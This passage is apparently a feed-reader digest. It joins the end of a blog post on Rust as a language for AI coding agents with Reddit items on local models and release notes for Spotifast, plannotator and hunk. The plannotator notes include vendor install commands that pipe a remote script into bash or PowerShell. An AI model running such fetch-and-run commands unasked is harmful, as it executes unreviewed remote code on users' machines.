this. In contrast, the following Rust code must be true (at least, so long as theEqoperator is reflexive forBar):fn set_foo(&mut self, bar: Bar) { self.foo = bar; assert_eq!(self.foo, bar); }We know this because the type system of Rust guarantees that
&mut selfimplies a unique reference.This is in fact exactly how Verus works. By trusting the Rust borrow checker to track uniqueness etc, it simplifies the job of the SMT solver, making proof checking must faster and more reliable than it would be otherwise.
Where I think Rust should go on reliability
So my take is that Rust should double down on if it compiles, it works. As expressive as Rust's type system is, there are plenty of things that it cannot capture. This includes fairly common things, like this method only reads one particular field or internal references, but also fancy things like "no logging of personally identifiable information". We should work to lift those limits, giving agents room to prove more complex properties.
We also need to improve the experience of integrating a proof tool by working towards an extensible compiler. As cool as the existing Rust-based proof tools are, using them is a janky experience involing annoying macros and pinned compiler versions. We can do better.
A north star: No more unsafe code
I'd like to propose a north star for Rust: no more unsafe code. By that, I don't mean that we never use the
unsafekeyword. Rather, I mean that we have the power to prove that all the unsafe code we write is correct and cannot cause undefined behavior. Don't get me wrong: knowing exactly what code needs to be vetted is a huge step forward, as is normalizing the idea that libraries need to be responsible for protecting their users from undefined behavior via safe API boundaries11. But given agents' ability to find vulnerabilities, I think we need to up-our-game if we want to stop the steady stream of CVEs.12Design is an open problem
But before you go about proving things or optimizing them, you need to have a clear idea of what you are building. As far as I can tell the state of the art here is basically variations on "markdown-driven-development", developing docs and hoping that agents pay attention.
I don't know how much of a role for Rust there is in this space. I think there are some steps we might wind up taking that could be helpful here - for example, having ways to separate out interface from implementation so that it's easier to review the interface in isolation or to see when the agent made changes there.13 Or perhaps just providing betters tools to review that.
I also think there's space for dedicated "modeling languages", something that let you iterate quickly with agents on the high-level designs and invariants without having to get into the weeds and read the code. I have more thoughts on this but it merits many blog posts all of its own. For the moment, I'll start by pointing you all at this post by Kari Wilhelm, "Principles of Anchor Engineering", which I think does a nice job of describing what it means to pull out the key elements of a design and drive the coding from there.
Conclusion
We covered a lot of ground here, so let me put this all together. What makes Rust a good choice for developing with agents?
- It offers good default perf (why pay more?) and, in conjunction with a profiler, can be tuned as much as you want.
- The type system gives stronger guardrails, and if you setup your agents right, you can strengthen those guardrails through techniques like new types.
And what could make it better, from a language design perspective? Overall, I think it's very similar to what we were doing, except that the way we weight the tradeoffs is tweaked to account for agents doing the code authoring, and humans focused more on code comprehension:
- If it compiles, it works - our type system is our big advantage, we need to make it more expressive and more functional so that agents don't get stuck trying to work around it!
- And as an adjunct, establish a North Star: Enable Unsafe code without unsafety by supporting proof, and see the most widely used Rust libraries proven sound.
- Low-level enough for a kernel, high-level enough for a GUI - make sure we expose the knobs needed to tune for performance, while also making the code's intent clear (but don't worry about golfing the code down to an absolute minimum number of characters).
- Extensible and versatile - one of Rust's great strengths is that, with macros + our type system, we support DSLs and a wide variety of targets. We need to bring that spirit of extensibility into the compiler so we can target more styles of development (e.g., GPU, deep language interop, etc) and also integrate theorem provers and other tools that require more than just tokens.
As a final close, let me point you at this interesting article by Marc Brooker, "What's easy now? What's hard now?". He posits that the more it is possible to clearly specify success criteria for a task, the easier it is, and that we may find that tasks we traditionally think of as 'hard' (e.g., building out an efficient implementation of a cryptographic algorithm) may soon become automated, whereas tasks that we have thoght of as 'easy' (e.g., making a unique, compelling website) may become more valued.
Looking at it from a PL point-of-view, I think Marc's point reinforces my sense that the biggest action is going to come from design languages , things that let you capture the architecture and intended behavior at a very high-level. The goal would be to let humans intuitively specify a design that gets translated into effective guardrails, whether that's type system checks, lints, or theorems to be proven. Agents would then take on the task of translating the design into code written in a traditional PL like Rust, with humans looking at it only rarely. This doesn't make the design of traditional PLs less interesting, but it definitely makes the tradeoffs very different than they were before.
-
Secretly I have always been jealous of people that coded using punchcards and stored things on gigantic rolls of tape or whatever. I just want to be world weary so badly! I am kinda delighted that I'm finally old enough that I can say things like "I remember when we had to edit CONFIG.SYS before we could play a computer game!" and younger programmers will gasp in horror.5 But I still feel like I must sound like a silly kid to folks who were around "back in the day". β©οΈ
-
I still remember when my dad told me he had bought me a 10MB disk and secretly he had bought a 40MB disk to surprise me. It seemed absurdly large. "I'll never need a new disk again!" β©οΈ
-
I mean my god, we're even using
viagain! My first editor! β©οΈ -
I built an electron app! And it was so easy to do! And reading weird papers and things is so much more accessible now that I can ask an LLM to translate all the math jargon for me. β©οΈ
-
I remember once trying to tell Alex Crichton how I used to "order shareware from a paper catalog by putting a check in the mail" and he was like "I do not understand any of the nouns in that sentence". Highlight of my life, right after Rust 1.0. Oh, and maybe the birth of my child and getting married. I guess. β©οΈ
-
I'm not saying Rust is the only language that's a good fit. I'm not even saying that the way that Rust is a good fit is the only way to be a good fit. I have heard for example that Go is a really good fit for agentic coding and I believe it: I think it hits a different sweet spot, one that helps agents iterate quickly (although I do suspect agents will let data races and subtle bugs slip through that Rust would have prevented). β©οΈ
-
The fact that agentic development makes more room for knobs is good for Rust performance, but it is quite likely an even better fit for performance in other languages. Tuning a GC has traditionally been a job that really requires a GC expert, but agents can likely fill that role pretty well these days. β©οΈ
-
On this pont, I'm even more convinced of the importance of ergonomic RC now that I work with agents. Agents are good at introducing the extra clones and things you need to deal with capturing around async tasks, but the resulting code is so annoying to read, it really hides what's going on. β©οΈ
-
"Claude, this is not what we talked about!" - me, all too often. β©οΈ
-
So close though, right? I just .. couldn't land the plane. β©οΈ
-
All too often, C++ libraries consider it adequate to tell users "you're holding it wrong" - i.e., that they are responsible for causing undefined behavior by misusing the API. Rust takes a clear position that a safe API has to protect its users, no matter how much they abuse it. β©οΈ
-
To be fair, if Rust is encountering a stream of CVEs, other languages like C++ and Java are encountering a veritable flood, since they lack the protection of Rust's type system. st takes a clear position that a safe API has to protect its users, no matter how much they abuse it. β©οΈ
-
The revenge of
.hfiles? β©οΈ
-
- October 13, 2026
-
π r/LocalLLaMA Someone is running Qwen 27B at ~20 tok/s on a jailbroken PS5's GPU rss
| submitted by /u/LatentSpacer
[link] [comments]
---|--- -
π Jeremy Fielding (YouTube) Professional Design Tips for Young Engineers rss
If you want to join my community of makers and Tinkers consider getting a YouTube membership π https://www.youtube.com/@JeremyFieldingSr/join
If you want to chip in a few bucks to support these projects and teaching videos, please visit my Patreon page or Buy Me a Coffee. π https://www.patreon.com/jeremyfieldingsr π https://www.buymeacoffee.com/jeremyfielding
Social media, websites, and other channel
Discord πhttps://discord.gg/F3XuyhNRPc Instagram https://www.instagram.com/jeremy_fielding/?hl=en Twitter πhttps://twitter.com/jeremy_fielding TikTok πhttps://www.tiktok.com/@jeremy_fielding0 LinkedIn πhttps://www.linkedin.com/in/jeremy-fielding-749b55250/ My websites π https://www.jeremyfielding.com πhttps://www.fatherhoodengineered.com My other channel Fatherhood engineered channel π https://www.youtube.com/channel/UC_jX1r7deAcCJ_fTtM9x8ZA
Notes:
Technical corrections
Nothing yet
-
π crmne/spotifast Spotifast v0.13.0 release
Spotifast 0.13.0 plays on Google Cast speakers, checks the release signature before it installs an update, and comes to Windows as a Windows Installer package. It also speaks Ukrainian, opens upcoming albums, removes one song from the queue, draws its own title bar on Linux, goes easier on the battery, and fixes Sonos playback, resuming a paused playlist and much more. More than thirty people contributed to it.
Download Spotifast: Mac Β· Windows Β· Windows ARM Β· Linux Β· Linux ARM Β· Flatpak Β· AppImage Β· AppImage ARM
New
-
Play on Google Cast speakers and groups. Cast speakers and speaker groups now appear in the device picker. Turn on local playback, pick the speaker, and Spotifast starts Spotify on it; from then on it plays like any other Spotify Connect device. Cast devices use certificates that your computer's trust store doesn't hold, so Spotifast accepts the certificate the device presents: whatever answers at the address of the speaker you pick on your local network receives a token issued for that speaker, not your reusable sign-in. See Google Cast playback and how it connects. By @izadiegizabal. (#858)
-
Updates must carry the release's signature. Spotifast now installs an update only when the release's
checksums.txthas a valid Ed25519 signature from the Spotifast release key, then checks the download against it. A missing or wrong signature means no update. By @Josmar-o; thanks @realrandolph for the security audit that recommended it. (#836) -
A Windows Installer package (
.msi). Antivirus engines kept flagging the old setup program, so Windows now gets a Windows Installer package for both x64 and ARM PCs. It installs for your user only, without an administrator password, like before. This release ships both:- for a new install, or to install by hand, pick the
.msi; run over an existing Spotifast, it takes the installation over and keeps your settings, folder and Start menu entry, and Windows lists one Spotifast; - if you update from inside Spotifast, do nothing: 0.12.0 updates to this release through the setup program (
-setup.exe), and from 0.13.0 on, updates move you to the.msiby themselves; - the next release ships only the
.msi.
- for a new install, or to install by hand, pick the
By @crmne.
-
Ukrainian. Spotifast is now available in Ukrainian. By @bun4uk. (#718)
-
Upcoming albums and Pre-save. Opening an upcoming album's Spotify link shows its artwork, a countdown to release and the songs you can already preview, with a Pre-save button that adds it to your library. It needs local playback. By @github-lover-9999. (#830)
-
Remove one song from the queue. A queued song's menu can now take just that song out of Playing next. By @ftupas; thanks @Raus0n. (#724, #721)
-
Play a song by name from the command line.
spotifast play-search <words>searches Spotify with your sign-in and plays the best match;--kind album,artistorplaylistpicks something else. Handy for launchers, scripts and voice assistants. By @oxatruchdev. (#738) -
Show only your own playlists. A By You toggle under Playlists in the Library hides the playlists you only follow. By @shaswat28. (#706)
-
Spotifast's own title bar on Linux. Turn on Custom title bar in Settings to have the window buttons share the top bar, following your desktop's icons and button layout where it can. By @ttmx. (#648)
-
A Now Playing widget under the MacBook notch. Turn on MacBook notch widget in Settings to get the playing song, artwork and controls when you hover the notch while Spotifast is in the background. By @saikumargudelly. (#528)
-
Playlist headers show their saves and the owner's picture, as Spotify's app does. By @renaldypr. (#849, #848)
-
The playing device shows its own icon. When music plays on a phone or computer, the Playing on badge and the device button no longer draw a speaker. By @Espaye. (#833)
-
Added By in Blends, and the name of whoever added a song stays once it is found. By @luisfernalme. (#745, #744)
-
Made for you shows your real Home shelf, in Spotify's order and your language, instead of a guess from four searches. By @hani64. (#802)
-
Less motion when your system asks for it. With Animation effects off in Windows, Reduce motion on macOS or GNOME's Animations off, fades, slides and smooth scrolling show their end at once. By @dennisgr7. (#867)
-
Middle-click autoscroll starts anywhere and stops when you let go, with its speed following the pointer, as in a browser. By @Felitendo. (#650)
-
The player bar's visualizer click can be turned off. Uncheck Click player bar to change visualizer under Settings β Appearance. By @samboland; thanks @jaysuna. (#757, #781)
-
The playing playlist shows pause on its cards and sidebar cover, and the play button spins while the next song loads. By @YuEfSaEDU. (#655, #654)
-
Easier on the battery. Spotifast now follows the system's power and session state, sleeps in the tray until something is due, polls your other devices less while nobody can see it, paces the visualizers and MilkDrop by what is on screen, and lets dual-GPU Macs stay on the integrated GPU. On a metered Windows connection it holds automatic update downloads and large media-control covers. By @dennisgr7. (#728, #730, #733, #732, #736, #735, #726, #681)
-
A faster start. Home is ready sooner, the last library and Home show while Spotify catches up, artist pages read popular songs without waiting on the shared app, and Liked Songs loads a page at a time. By @lmarkmann, @dennisgr7, @github-lover-9999, @Ar-maan05 and @knocking4thcylinder. (#784, #826, #805, #777, #778, #717)
Fixed
- Playing a paused playlist resumes it. The cards, sidebar cover and page header started a paused playlist over from its first song. By @YuEfSaEDU. (#657)
- Sonos speakers play again. Picking a Sonos speaker could fail with "receiver refused the connection". By @brandly; thanks @Aloe-recite and @elliotmartin. (#823, #612, #767)
- Fewer "Spotify is rate limiting requests" errors. Spotifast checks playback at most every 15 seconds instead of every 4. By @aw-snap. (#840)
- Music keeps playing when the audio output changes, such as when you plug in headphones. By @dennisgr7. (#731)
- The resume point survives a dropped network or a sudden quit. By @saikumargudelly and @dennisgr7. (#795, #793, #727)
- Uninstalling on Windows while Spotifast runs no longer leaves half an install. The uninstaller offers to close it first. By @samboland; thanks @AndrewDragonCh. (#766, #753)
- A busy sign-in port is reported clearly, before the browser opens. By @samboland; thanks @drewwells. (#768, #754)
- The mini player opens on a connected display after the screen it was on is gone, on macOS. By @HEOJUNFO; thanks @future10se. (#774, #719)
- Song radio opened from a list is named after its song. By @kevin9327; thanks @Slaurits. (#659, #644)
- The Linux tray icon shows on Qt desktops such as KDE. By @kevin9327; thanks @paganotoni. (#670, #660)
- Dragging several songs within a playlist moves them instead of adding copies. By @s6hib; thanks @jorisw. (#684, #669)
- Sorting by album keeps each album's songs in track order. By @SametKaras; thanks @sea2horses. (#701, #699)
- A search typed with pauses leaves one Recent search, not one for each pause. By @SametKaras; thanks @hpaliwal8. (#747, #741)
- Playback artifacts are fixed, and a held volume slider responds. By @samboland. (#686)
- Closing a minimised window sends it to the tray with Keep playing in the background on, instead of quitting. By @dennisgr7. (#725)
- Playlist covers show when Spotify sends them as WebP, and library playlists the Web API leaves blank are filled in. By @renaldypr. (#814, #813, #807)
- Covers are drawn sharp from copies scaled to the size they're shown, and use less memory. By @dennisgr7. (#866)
- Colour from album art works on Liked Songs. By @sasoder. (#750)
- The Windows title bar buttons line up with the top bar and react when pressed. By @samboland. (#742)
- Small interface fixes: the shuffle, saved and liked buttons stay green on hover, the search clear button is centred, playlist dialogs stay compact, side-by-side autoscroll areas no longer clash, and sign-in checks no longer keep the activity spinner busy. By @GoktugEk, @renaldypr, @ECuteri, @PixelAsh6 and @Iskrata. (#722, #822, #790, #855, #862, #797)
- Better Turkish. By @alikaanztrk. (#668)
- Security updates. rustls is updated for RUSTSEC-2026-0285, and chacha20 to 0.10.2. By @seichris and @Yaraill. (#743, #811) The saved sign-in token can no longer end up in debug output. By @DougNeo. (#756)
Thanks
@izadiegizabal, @Josmar-o, @realrandolph, @bun4uk, @github- lover-9999, @ftupas, @oxatruchdev, @shaswat28, @ttmx, @saikumargudelly, @renaldypr, @Espaye, @luisfernalme, @hani64, @dennisgr7, @Felitendo, @samboland, @YuEfSaEDU, @lmarkmann, @Ar- maan05, @knocking4thcylinder, @brandly, @aw-snap, @HEOJUNFO, @kevin9327, @s6hib, @SametKaras, @sasoder, @GoktugEk, @ECuteri, @PixelAsh6, @Iskrata, @alikaanztrk, @seichris, @Yaraill, @DougNeo, @tyhallcsu, @Raus0n, @jaysuna, @Aloe-recite, @elliotmartin, @AndrewDragonCh, @drewwells, @future10se, @Slaurits, @paganotoni, @jorisw, @sea2horses, @hpaliwal8, and everyone who reported problems since 0.12.0.
Full changelog :
v0.12.0...v0.13.0 -
-
π backnotprop/plannotator v0.28.19 release
Follow @plannotator on X for updates
Missed recent releases? Release | Highlights
---|---
v0.28.18 |plannotator inboxconnects your agents, agents are told when to use the Inbox, rendered Markdown in code review, Inbox Settings in sections
v0.28.17 | The Inbox on iPads and narrow windows, the reply bar no longer cuts off "Keep open", a Pi crash on/reloadfixed
v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
v0.28.12 | Update notices andplannotator update, attach any file to an Inbox message, questions with context, links to attached files
v0.28.11 |plannotator inbox --helpprints a full guide for agents, and the plannotator.ai/inbox install prompt
v0.28.10 | The Inbox over your tailnet withplannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
v0.28.9 | Large Inbox messages throughplannotator inbox mcpfixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixedWhat's New in v0.28.19
A small release with two contributions from @leoreisdias: Ask this session for Claude conversations in T3 Code, as an opt-in install flag, and folder annotate sessions that load a page's shared stylesheets and images from anywhere in the folder. On the Inbox side, the question about adding a note to your agents' instructions moves from a card above the list into a one-time dialog that asks once per agent, and the session-start reminder now tells agents where to read how the Inbox works. 5 PRs in all, 2 from an external contributor.
Ask this session in T3 Code
When Claude runs
plannotator review,plannotator annotateorplannotator lastinside a T3 Code conversation, the review used to open with no link back to that conversation: Ask AI could only start a separate agent, and the decision came back as the output of a command that had blocked Claude until you were done.With the new opt-in installer flag, those reviews connect to the conversation that ran the command. Ask this session sends your question into that T3 conversation as an ordinary turn and shows the answer in the review, including when the conversation was idle. The command returns as soon as the review opens and Claude ends its turn, and your decision (feedback, Approve with notes, or a gated approval) arrives later in the same conversation, worded the way the Claude Code integration words it. Claude keeps running the same commands as before and needs no T3 address or thread id; the hook finds the conversation from Claude's own tool call and never guesses by title or folder.
Setup, on macOS or Linux:
curl -fsSL https://plannotator.ai/install.sh | bash -s -- --with-t3 plannotator t3 login --url <the MCP URL from T3 Settings β Connections>The flag adds one Claude
PreToolUsehook to your Claude settings (backed up first), and automatic updates keep it.plannotator t3 loginasks T3 to authorize Plannotator once.--without-t3removes only that hook. Nothing changes for anyone who does not pass the flag: the Claude plugin, the skills and default installs add no T3 hook.Limits worth knowing. Only Claude conversations are routed, and only simple Bash runs of review, annotate and last; plan review, compound shell commands and strict scripted gates keep their usual behavior. The hook runs for every Claude Agent SDK session on that profile, so a
claude -prun or another SDK app pays roughly a third of a second per Bash call before the hook finds no T3 conversation and leaves the command alone. Setup details and diagnostics are inpackages/t3-code/README.md.- #1807, by @leoreisdias
Folder sessions load shared stylesheets and images
Annotating a folder of HTML pages that share one
assets/directory left nested pages unstyled. Inplannotator annotate course/, a page atlessons/lesson.htmlthat links../assets/lesson.csscould only load files from its own directory, so the stylesheet, scripts and images never arrived.In a folder session the selected folder is now the asset root for every page inside it, while relative references still resolve from each page's own directory.
../assets/lesson.cssloads, and so do shared images, inline CSSurl()s andsrcsetentries. Share links carry the same assets. Single-file sessions keep their current scope.A page still loads anything in its own folder, exactly as before, hidden folders such as
.vendor/or.vitepress/included. What is new is that it can also reach the rest of the selected folder, and there it is refused hidden files and folders (any path segment starting with.) and the.envfamily, whether it asks for them directly or through a symlink. Because a page can load the folder's other non-hidden asset files, pick the folder you mean to review rather than your home directory.- #1568, by @leoreisdias, and #1900
The agent note is asked once per agent, in a dialog
In v0.28.18 a card above the Inbox list asked, once, whether to add a short Inbox note to your agents' instruction files. That card is gone. The question is now a dialog that opens once, after the sound dialog and never on the same page load.
Each agent gets a row with the exact file the note goes into and whether it adds to the end of that file or creates it. Every agent starts ticked, Claude Code included, and the main button names who it adds to ("Add to Codex, Gemini CLI and Claude Code"), or reads "Don't add a note" when you untick them all. Results show in the same rows: Added, Created, or Not added with the reason and Try again. When
plannotator inboxconnected agents since you last looked, the "Connected β¦" report sits at the top of the dialog. Escape, the backdrop and Not now write nothing.The question is now asked once per agent rather than once ever. An agent you install later gets the dialog for itself alone, and an agent whose note could not be written is asked again. If you already answered the card in v0.28.18, those agents count as asked and you will not see the question again for them. Nothing is written without your yes, and Settings β Agents and
plannotator inbox --noteswork as before.Copy connect prompt in the Inbox sidebar
A new row above Settings copies a short prompt you can paste into any agent, at any time. The agent reads
plannotator inbox --help, connects itself to your Inbox for its next sessions, and sends you a first message there. The prompt names this computer's ownplannotator, so it works when pasted into an agent on this machine.The session reminder points agents at
plannotator inbox --helpThe one-line Inbox reminder that each session gets at start now ends with "Run
plannotator inbox --helpfor how it works.", so an agent that has never seen the Inbox knows where its full guide is. It is still fixed text, so the first session after updating misses the prompt cache once and later sessions do not.Install / Update
macOS / Linux:
curl -fsSL https://plannotator.ai/install.sh | bashWindows:
irm https://plannotator.ai/install.ps1 | iexClaude Code Plugin: The plugin and the
plannotatorbinary update separately, so run the install script above as well. In a terminal:claude plugin marketplace update plannotator claude plugin update plannotator@plannotatorThen restart Claude Code. Inside Claude Code, run
/plugin marketplace update plannotator, then open/pluginβ Installed β plannotator β Update now.Pi:
pi update --extensionsOpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
What's Changed
- fix(annotate): resolve shared HTML assets within selected folders by @leoreisdias in #1568
- Inbox: the session reminder points agents at plannotator inbox --help by @backnotprop in #1895
- Annotate: folder sessions keep a page's own hidden asset folders by @backnotprop in #1900
- Publish prep: @plannotator/core 0.25.13 and @plannotator/ui 0.53.0 by @backnotprop in #1898
- feat(t3): connect Ask this session through an optional Claude hook by @leoreisdias in #1807
- Inbox: the agent note asks in a dialog, once per agent by @backnotprop in #1896
- Inbox: Copy connect prompt in the sidebar by @backnotprop in #1901
Contributors
@leoreisdias wrote both of this release's community contributions. His T3 Code integration (#1807) maps Claude's tool call to the T3 conversation that made it through T3's own API, so Ask this session and review decisions reach that conversation without the agent knowing T3 is there; it was verified live against T3 Code before we finished it for release. His folder asset fix (#1568) makes the selected folder the shared asset root in both the Bun and Pi servers and in share links; we added the hidden-file refusal on top of it. Both build on his earlier work on annotate and code review, including HTML Refresh and comparing a local branch with its remote.
Full Changelog :
v0.28.18...v0.28.19 -
π r/LocalLLaMA "New AI fake text generator may be too dangerous to release, say creators" (2019 Guardian headline) rss
I'm sure some here read this at the time and remember, but I recently found this hilarious Guardian article from 2019 through Wikipedia:
Some choice quotes:
"OpenAI ... says its new AI model, called GPT2 is so good and the risk of malicious use so high that it is breaking from its normal practice of releasing the full research to the public in order to allow more time to discuss the ramifications of the technological breakthrough."
"One is its size, says Dario Amodei, OpenAIβs research director. ... It was trained on a dataset containing about 10m articles, selected by trawling the social news site Reddit for links with more than three votes. The vast collection of text weighed in at 40 GB, enough to store about 35,000 copies of Moby Dick."
Some people never change!
submitted by /u/Frail_Waif
[link] [comments] -
π r/LocalLLaMA LiquidAI/LFM2.5-24B-A2B rss
| Gguf's: https://huggingface.co/LiquidAI/LFM2.5-24B-A2B-GGUF Free Demo: https://playground.liquid.ai "LFM2.5-24B-A2B is a 24B-parameter reasoning model with only 2B active parameters, built for fast, private agents on-device. It is the largest and final model in the LFM2.5 family, which now spans two orders of magnitude: from LFM2.5-230M to LFM2.5-24B-A2B.- Best-in-class agent : Competitive with Qwen3.6-35B-A3B, a model with ~50% more total and active parameters, on agentic and tool-use tasks, scoring 48.09 on LiveClaw versus 38.19.
- Reasoning at MoE speed : Always thinks before it answers. With only 2B active parameters per token, each reasoning token is cheap.
- Efficient inference : Runs up to 1.7Γ faster than comparable MoEs on-device, with 184 tok/s on an Apple M5 Max and up to 21K output tok/s on a single NVIDIA B300 GPU.
LFM2.5-24B-A2B is a general-purpose text-only reasoning model with the following features:
- Total parameters : 24.0B
- Active parameters : 2.45B
- Number of layers : 40 (30 double-gated short convolution blocks + 10 GQA)
- Experts : 64 per MoE block, top-4 routing
- Training budget : 36 trillion tokens
- Vocabulary size : 128,000
- Context length : 131,072 tokens
- Languages : English, Arabic, Chinese, French, German, Italian, Japanese, Korean, Portuguese, Spanish, Vietnamese, Thai, Indonesian, Hindi, Russian, Polish
- Generation parameters :
temperature: 0.1top_k: 50repetition_penalty: 1.05"
submitted by /u/Skyline34rGt
[link] [comments]
---|--- -
π modem-dev/hunk v0.24.0-beta.0 release
Hunk 0.24 beta: beyond the diff
This first 0.24 beta brings complete-file and directory browsing, a live workspace compass, and easier extension and agent setup into the same terminal workspace as your reviews. It also moves syntax highlighting into a worker by default and makes automatic diff layout respond to the space left by your side panes.
For npm- and curl-managed installs, select this beta explicitly:
hunk update 0.24.0-beta.0 npm install -g hunkdiff@0.24.0-beta.0This is a prerelease. Stable installs continue to use 0.23.0; Homebrew does not distribute this beta.
Browse the whole file, then find your next review
hunk openshows complete syntax-highlighted files and browses directories with lazy loading, live refresh, and keyboard or mouse navigation. You can inspect the surrounding source without manufacturing a diff. #1148The new read-only workspace status view makes tracked and untracked changes, staging state, and sibling worktrees easy to inspect, with navigation into history and full diff reviews. Static and versioned JSON output are available too. #1067
A review that follows your workspace
Syntax highlighting now runs in a worker by default, with grammar warmup during startup to reduce the input stall after the first review frame appears. Large-diff highlight failures use bounded retries rather than restarting on every scroll. #1105, #785
Automatic layout now considers the available diff width after side panes and padding, so opening a pane can switch the review to unified and closing it can restore split.
auto_split_min_widthlets you choose that threshold.scroll_offkeeps context around the current line, and the note composer's save shortcut is remappable. #1170, #1109, #962This beta also fixes comment targets drifting after wheel scrolling, preserves notes across reloads that temporarily omit their files, and keeps live sessions registered while a window is suspended. #1143, #1164, #1131, #1134
Easier extensions, agent setup, and shell navigation
hunk extension installnow accepts npm packagesβincluding scopes, versions, ranges, and tagsβalongside Git sources, without running npm lifecycle scripts. Folder-local package imports also work in compiled Hunk binaries. Extensions gain generation-scoped presentation filters and independent left/right pane controls. #1162, #1163, #1118, #1171Install agent pointer skills through the skills CLI;
hunk skill showsupplies the full instructions matched to your installed Hunk version. Bash and Zsh completions help discover commands, flags, and supported values. #1167, #1157Compatibility notes
- Layout defaults: auto mode now uses a threshold of 160 available diff columns. Explicit
splitandunifiedmodes still override automatic selection; configureauto_split_min_widthto change the threshold. - Navigation defaults:
scroll_offdefaults to five context rows. Setscroll_off = 0or pass--scroll-off 0to restore edge-only scrolling. - Highlighting:
--fastis now a no-op and will be removed in a later release. Windows compiled binaries and custom themes withsyntax_scopescontinue to highlight inline. - Extensions: the public extension API is now version 31. New APIs should be gated on
hunk.apiVersionwhen supporting older Hunk releases. - Persistent state: Hunk now uses the XDG state directory while preserving existing state and global extension locations. #920
- Runtime requirements: npm installs require Node.js 22 or newer; standalone binaries do not require Node.js.
Community contributors
- @0xferrous fixed combined conflict diffs and plain-text pager output through pipes. #1102, #1112
- @Ajay-Satish-01 made the note-composer save shortcut remappable. #962
- @andreifilip123 added the configurable context margin around the current line. #1109
- @andrewloux improved macOS test portability and kept noted files recoverable across reloads. #1146, #1131
- @bottercode fixed lockfile refresh during release versioning. #1158
- @brettinternet added generation-scoped extension presentation filters. #1118
- @edenbuilds validated extension VCS watch hooks before registration. #1080
- @elucid fixed installer release lookup, clarified session-selector errors, and sped up terminal-theme refresh. #1140, #1149, #1130
- @HackAttack fixed annotated-note navigation, wheel-scroll comment targets, and suspended-session registration. #1147, #1143, #1134
- @igshehata preserved text entered immediately after opening a note composer. #1125
- @LandonSchropp added hunk-verdict and hunk-backup to the extension directory. #1137
- @masonmcelvain made worker highlighting the default and warmed grammars during startup. #1105
- @mikemikimike moved persistent state to the XDG state directory. #920
- @mvanhorn fixed folder-extension package imports in compiled binaries. #1163
- @silvioprog added Bash and Zsh shell completions. #1157
- @strawberry-little-bear corrected terminal-width handling for grapheme Prepend characters. #1153
- @teepark made automatic layout depend on available diff width and added its configurable threshold. #1170
All merged pull requests (44)
- publish v0.23.0 notes by @benvinegar in #1135
- resolve releases from the apex domain by @elucid in #1140
- bump taiki-e/install-action from 2.86.3 to 2.87.14 in the github-actions group by @dependabot[bot] in #1139
- adopt new hunk logo, flat favicon, and brand guide by @benvinegar in #1145
- explain selector misses instead of protocol-validation-failed by @elucid in #1149
- refresh terminal colors via direct OSC probe by @elucid in #1130
- pass the lifecycle, trust prompt and jj source tests on macOS by @andrewloux in #1146
- Add hunk-mark-read to hunk-extension marketplace by @benvinegar in #1155
- measure grapheme Prepend scalars with the cluster that follows them by @strawberry-little-bear in #1153
- compact same-directory rename labels by @benvinegar in #1156
- add complete-file viewer and lazy directory browser by @benvinegar in #1148
- Fix/draft note focus transition by @igshehata in #1125
- render conflicted Git diffs by @0xferrous in #1102
- handle plain text output through pipes by @0xferrous in #1112
- add generation-scoped presentation scope API by @brettinternet in #1118
- bound and surface large-diff highlight retries by @benvinegar in #785
- Add hunk-guide and hunk-verdict to hunk-extension marketplace by @benvinegar in #1159
- Highlighting: Make the worker the default and warm it during startup by @masonmcelvain in #1105
- reveal note composers at the bottom edge by @benvinegar in #1160
- preserve filter focus when results reappear by @benvinegar in #1161
- reject non-callable VCS operation watch hooks by @edenbuilds in #1080
- stop annotated navigation skipping notes drawn outside hunks by @HackAttack in #1147
- refresh bun.lock when versioning packages by @bottercode in #1158
- Add LandonSchropp/hunk-verdict and hunk-backup to the extension directory by @LandonSchropp in #1137
- add scroll_off setting for viewport margin by @andreifilip123 in #1109
- keep a session connected when a reload leaves out a noted file by @andrewloux in #1131
- stop wheel scroll and stale hover from drifting comment targets off the highlighted line by @HackAttack in #1143
- restore comment targets after batched wheel returns by @benvinegar in #1164
- add bash and zsh shell completions by @silvioprog in #1157
- release stdin before launching terminal editors by @benvinegar in #1165
- support managed npm package sources by @benvinegar in #1162
- add a workspace compass with sibling worktrees by @benvinegar in #1067
- link GitHub release notes after hunk update by @benvinegar in #1166
- load folder-local packages in compiled binaries by @benvinegar in #1163
- let note composer save be remapped by @Ajay-Satish-01 in #962
- reveal pane edges independently by @benvinegar in #1171
- distribute version-matched agent skills via skills CLI by @benvinegar in #1167
- trim verbose README prose by @benvinegar in #1174
- keep sessions alive while window is suspended by @HackAttack in #1134
- store persistent state under XDG state directory by @mikemikimike in #920
- isolate suspension test daemon port by @benvinegar in #1176
- clarify configuration overrides and examples by @benvinegar in #1175
- Auto width threshold by @teepark in #1170
- prepare 0.24.0-beta.0 by @benvinegar in #1177
Release notes : https://hunk.dev/changelog/0.24/
Full changelog :v0.23.0...v0.24.0-beta.0 - Layout defaults: auto mode now uses a threshold of 160 available diff columns. Explicit
-
π backnotprop/plannotator v0.28.18 release
Follow @plannotator on X for updates
Missed recent releases? Release | Highlights
---|---
v0.28.17 | The Inbox on iPads and narrow windows, the reply bar no longer cuts off "Keep open", a Pi crash on/reloadfixed
v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
v0.28.12 | Update notices andplannotator update, attach any file to an Inbox message, questions with context, links to attached files
v0.28.11 |plannotator inbox --helpprints a full guide for agents, and the plannotator.ai/inbox install prompt
v0.28.10 | The Inbox over your tailnet withplannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
